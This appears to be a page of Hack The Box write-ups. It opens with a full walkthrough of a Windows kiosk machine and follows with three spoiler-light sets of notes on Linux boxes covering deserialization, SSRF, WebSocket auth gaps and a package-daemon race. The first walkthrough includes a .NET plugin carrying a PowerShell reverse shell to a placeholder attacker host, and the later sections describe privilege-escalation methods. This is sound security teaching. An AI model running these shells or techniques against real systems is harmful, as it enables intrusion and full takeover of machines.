Hack The Box · Windows · Web → SYSTEM
A kiosk box themed around airport check-in. An unauthenticated API endpoint hands over the device serial, the serial is the admin password, and the admin dashboard hands over kiosk credentials. From there, decompiling a .NET printer service reveals a plugin loader that runs as SYSTEM — and the kiosk user already has write access to the plugin folder.
A full TCP scan of the target comes back with a compact surface. No web-on-80, no SMB, nothing obviously enterprise-shaped:
: discovered 4 open TCP ports 135/tcp msrpc 3389/tcp ms-wbt-server # RDP 5985/tcp wsman # WinRM 8443/tcp http # Nexion DeviceHub — the interesting one Service scan: 8443 → Node.js HTTP "Nexion DeviceHub v1.4.2" Host: KIOSK-042 (Windows 11/Server 2025 Build 26100)
Port 8443 is a web interface for something called Nexion DeviceHub. That name is unfamiliar, which is always a good sign for a box.
Pulling up the DeviceHub login page in a browser shows a clean form and a helpful note: "The default password is the device serial number." That would be useful if the serial were public anywhere. As it turns out, it is:
GET /api/status → 200 OK
{
"device": "Nexion DeviceHub DH-100",
"serial": "NX-DH-2024-B7042",
"firmware": "1.4.2",
"status": "online",
"uptime": 83227
}
The serial is right there, completely unauthenticated. One POST to /login with that serial as the password and the server returns a session cookie with a redirect to /dashboard.
The dashboard itself turns out to be generous. It has a scanner section, a printer section, a logs view, and — once you click around the settings toggle — a credentials reveal for the account the hardware uses to run its scanner and printer services:
POST /login password=NX-DH-2024-B7042 → 302 /dashboard
/dashboard → toggleCred() reveals:
username: KioskUser
password: <redacted> # service account password stored in plain JS
So two credential exposures chained together from a single unauthenticated request. The serial unlocks the management interface; the management interface stores the service account credentials in client-side JavaScript that anyone logged in can view.
KioskUser can RDP to the box. Standard NLA and TLS both get rejected, so the connection needs /sec:rdp to negotiate the older RDP security layer. That works, and the session drops straight into an airport kiosk:
RDP → LOGIN → KIOSK SESSION HTB AIRWAYS SELF CHECK-IN Terminal 4, Gate B7 Kiosk #042 [ Language: English (US) ] [ Check-In Form: Booking reference / Last name ]
The kiosk app runs inside a locked-down Edge session pointing at localhost:5173. The physical keyboard does not register in the touch fields, which is the whole point of the box name — this was designed to be a touchscreen kiosk. The app also ties into another box (Layover), where you would have obtained a booking reference to submit here. But the privilege escalation path does not require interacting with the kiosk at all.
Getting past the kiosk is a matter of abusing a standard kiosk escape vector — finding a dialog or UI element that exposes a real file browser or run dialog and using that to spawn a shell. Once out, we have a proper command prompt as KIOSK-042\KioskUser and the user flag is sitting on the Desktop.
From the kiosk user shell there is a clear next step: the DeviceHub dashboard has a printer restart endpoint, and the Nexion printer service is running on this machine. Let's look at what it does.
The Nexion binaries in C:\Program Files\Nexion Systems\ are .NET assemblies, which means they decompile cleanly. Opening NexionPrinter.dll in a decompiler and scanning through the class tree surfaces something in the plugin loader:
public void LoadPlugins() {
string pluginDir = Path.Combine(baseDir, "plugins");
foreach (string dll in Directory.GetFiles(pluginDir, "*.dll")) {
Assembly asm = Assembly.LoadFrom(dll); // loads any .dll found here
Type t = asm.GetType("NexionPlugin.Plugin");
object inst = Activator.CreateInstance(t);
t.GetMethod("Initialize").Invoke(inst, null); // calls Initialize() on load
}
}
Every DLL in the plugins folder gets loaded and its Initialize() method gets called. The service runs as NT AUTHORITY\SYSTEM. The question is whether we can write to that folder.
icacls "C:\Program Files\Nexion Systems\Printer\publish\plugins"
KIOSK-042\Printer Administrators (OI)(CI)(M) # Modify — readable, writable, deletable
NT AUTHORITY\SYSTEM (OI)(CI)(F)
BUILTIN\Administrators (OI)(CI)(F)
net localgroup "Printer Administrators"
KioskUser # we are in this group
KioskUser is in the Printer Administrators local group, and that group has full Modify rights on the plugin directory. We can drop any DLL we want in there.
The next step is writing a minimal .NET class library that implements the expected interface. The plugin just needs a public class named NexionPlugin.Plugin with an Initialize() method. We put a reverse shell callback inside that method, compile with the .NET SDK targeting the same framework version the service uses, and transfer the resulting DLL to the plugins folder.
namespace NexionPlugin {
public class Plugin {
public void Initialize() {
// reverse shell callback
var ps = new System.Diagnostics.Process();
ps.StartInfo.FileName = "cmd.exe";
ps.StartInfo.Arguments = "/c powershell -nop -c " +
"\"$c=New-Object Net.Sockets.TCPClient('<attacker>',4444);" +
"$s=$c.GetStream();[byte[]]$b=0..65535;...\"";
ps.Start();
}
}
}
With the DLL in place, a single POST to the DeviceHub API triggers the reload:
POST /api/printer/restart
Cookie: nxsession=<our session cookie>
→ {"success": true, "message": "Printer service restarted"}
SYSTEM shell callback received:
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
HTB{1ad5fa...}
| Attempt | Why it failed |
|---|---|
| WinRM as KioskUser | The account does not have remote management rights; connection refused |
| Path traversal in test-image upload | The filename parameter is ignored; uploads always go to a fixed-location store regardless of the supplied name |
| SSRF via scanner calibrate endpoint | The url and target parameters are accepted but never actually fetched; server returns success immediately with no outbound request |
| MySQL UDF escalation | The kiosk database account does not have the privileges needed to register a UDF; blocked at the SQL layer |
| Kiosk GUI automation | An RDP session with no kiosk app present rendered a blank desktop; the kiosk process is not reliably attached to the new session |
Spoiler-light notes — no flags, credentials or copy-paste exploits. Solve it yourself first.
Plain scanning gives you the shape fast: SSH, a web front end, and a handful of Java/LDAP ports that don’t belong to “a marketing site”.
Two virtual hosts sit behind the same TLS certificate. The “public” one is a static SPA whose bundle is encrypted (key in the page) — it’s flavour. The real application is the SSO hostname, and it tells you its exact version if you ask politely (an unauthenticated info endpoint, plus a version bean reachable through a well-known path-normalisation quirk).
The SSO is an old, well-documented Java product, and the “obvious” deserialization bug everyone knows about is patched here. But the fix covered one request parameter and missed a second, sibling parameter that goes through the same deserialization path.
That’s the theme of the box: the patch was real, but incomplete.
Two details make it harder than the CVE write-ups suggest:
javap it — check the real class names, the serial
version UIDs, and which classes weren’t relocated.Also worth internalising: Runtime.exec returns immediately, so the classic
sleep-and-time-it trick is useless for confirming execution. Prove RCE with a side
effect you can observe (write a file into the web root and fetch it) — ideally with no
outbound traffic, so egress rules can’t confuse the result.
Once you’re on the box as the service account:
A short sudo -l reveals a backup tool running as root through a rule with a trailing
wildcard. The tool takes “restrict these paths” options — and those options are
repeatable, so the same flag that sandboxes you also lets you point it at /. A second
option lets you feed the (fake) hostname in as a harmless argument so the remote-execution
syntax is satisfied.
The result: you ask the root-owned backup server to mirror a directory you were never meant to read.
Spoiler-light notes — no flags, credentials or copy-paste exploits. Solve it yourself first.
A plain scan gives SSH and one nginx web tier; port 80 redirects to TLS and the certificate handily names the vhost.
The site is a single-page app, and unknown paths all return the same HTML — so content discovery has to discriminate on size and content rather than status codes. That habit is what surfaced a second page, and behind it a second application that the marketing site never links to.
Its JavaScript bundle was obfuscated and wrapped in an AES-GCM blob with the key sitting in the page. Unwrapping it was worth the effort: the decrypted client contained exactly one security-relevant request — a POST to a URL-validator endpoint. No credentials, no admin routes, no hidden API. The validator was the attack surface.
The validator fetches a user-supplied URL server-side and returns the status, the content type and a few KB of the response body. That makes it a non-blind SSRF, which changes the game completely — you can read internal pages, not merely infer which ports are open.
Literal loopback values were rejected. But the check ran against the hostname text, not against the address the operating system would actually connect to — so alternative IPv4 encodings of the same destination sailed straight through. The lesson is the ordering, not the specific value: apply SSRF policy after DNS resolution and canonicalisation, never to the attacker’s string. (The same ordering mistake is what makes redirects and DNS rebinding work.)
That gave a loopback read primitive, and response/error differences turned it into a port oracle.
The edge proxy had a loopback-only status endpoint — reachable only from the machine itself. Asking for it through the SSRF made the proxy believe the request was local, and its upstream inventory leaked an internal hostname that was never meant to be public: a notebook service listening on a loopback port.
Because the public certificate was a wildcard and nginx had a matching server block with WebSocket proxying enabled, learning that name was enough to reach the loopback service from outside over 443. A service that was only listening on localhost became internet-facing — not by breaking in, but by knowing what to ask for.
The notebook app gated its UI behind an access token — but its terminal WebSocket route did not perform the same check. No token, no session cookie, no CSRF value: connect, send a resize frame, send a command, and you get a PTY running as the service account. No authentication was recovered or needed.
The general shape is worth remembering: one real-time endpoint missing the authorisation the
rest of the application enforces. Worth enumerating every /ws route in anything that
authenticates “everywhere else”.
Standard enumeration came up deliberately boring: no passwordless sudo, no custom SUID binaries, no capabilities, no writable service definitions, nothing of interest in groups.
Two things consumed real time and were not the path:
The honest lesson is below, and it’s the most valuable part of this box.
A system package daemon runs as root and is D-Bus-activatable — it starts on demand even when the service looks inactive. Its installed version sat inside the affected range of a recently disclosed advisory.
The bug is a transaction-state TOCTOU, and it is deterministic rather than a nanosecond CPU race — it’s event-loop ordering:
The authentication error that arrives afterwards is cosmetic: the package’s maintainer script has already run. Ship a package whose post-install script drops a SUID shell and you’re root. Cleanup was just removing the two proof packages.
Root took far longer than it should have — and not because the exploit was hard. Once the daemon was correlated with its advisory, exploitation took about two seconds. The delay was route ranking:
Spoiler-light notes — no flags, credentials or copy-paste exploits. Solve it yourself first.
A full TCP scan gives the usual shape: SSH, one web front end, and one port that is filtered rather than closed. Filtered means something is listening and a firewall rule is keeping you out — that’s not a dead end, it’s a note to yourself for later.
The web front end is a small marketing site. Its robots.txt disallows two directories that
don’t exist on that host, which is a strong hint the interesting content lives on a vhost
rather than under a path. Vhost fuzzing finds a second one: a file-upload portal for a
medical imaging pipeline.
Two details on that portal matter:
The box’s theme is unsafe deserialization, twice — once in the document-conversion path, once in the model-loading path.
Leg one: the conversion library resolves a resource referenced by the document and loads it from disk, with the path coming from the document itself instead of being confined to the library’s own data directory. Chain two uploads — your payload file, then a document that points at it — and parsing the document runs your code. That lands you as a service account inside a container.
The container is the pivot. It runs with the host’s network stack, so “localhost” from inside it is the host’s localhost — and the port that was filtered from the outside is sitting right there. Behind it is an internal image viewer built on a module CDN, which again announces its exact version in a header. Its versioned-asset route skips the path canonicalisation the normal route applies, and a couple of query flags switch off both the module transformation and the normalising redirect that would otherwise neutralise a traversal. That reads a file you shouldn’t have: a passwordless private key belonging to a developer on the host.
Worth internalising: curl canonicalises ../ client-side unless you pass --path-as-is.
Without it your traversal is resolved on your own machine and never reaches the target — a
quiet way to conclude “not vulnerable” when you haven’t actually sent the request.
The container account is deliberately shell-less (nologin) and can’t read the developer’s
home directory — so the key had to come out through the traversal rather than being read
in place. Pull it, drop it on your box, and SSH in as the developer.
sudo -l shows NOPASSWD on a single Python script — the exact command, no wildcard, so
there’s no argument-injection angle. Instead, look at what the script loads: a model
checkpoint, from a hardcoded directory, using the unsafe deserialization flag. That
directory sits on a volume the container service account can write to.
So: build a checkpoint in the container format the loader expects, plant it from the container, and trigger the script as root. The deserialization happens before anything validates the result, so it doesn’t matter that your file isn’t a real model — the payload fires and the “loaded: []” afterwards is just noise.
One operational snag: the sudo rule sets use_pty, so a non-interactive invocation is
refused outright. You have to force PTY allocation on the SSH command itself.
--path-as-is.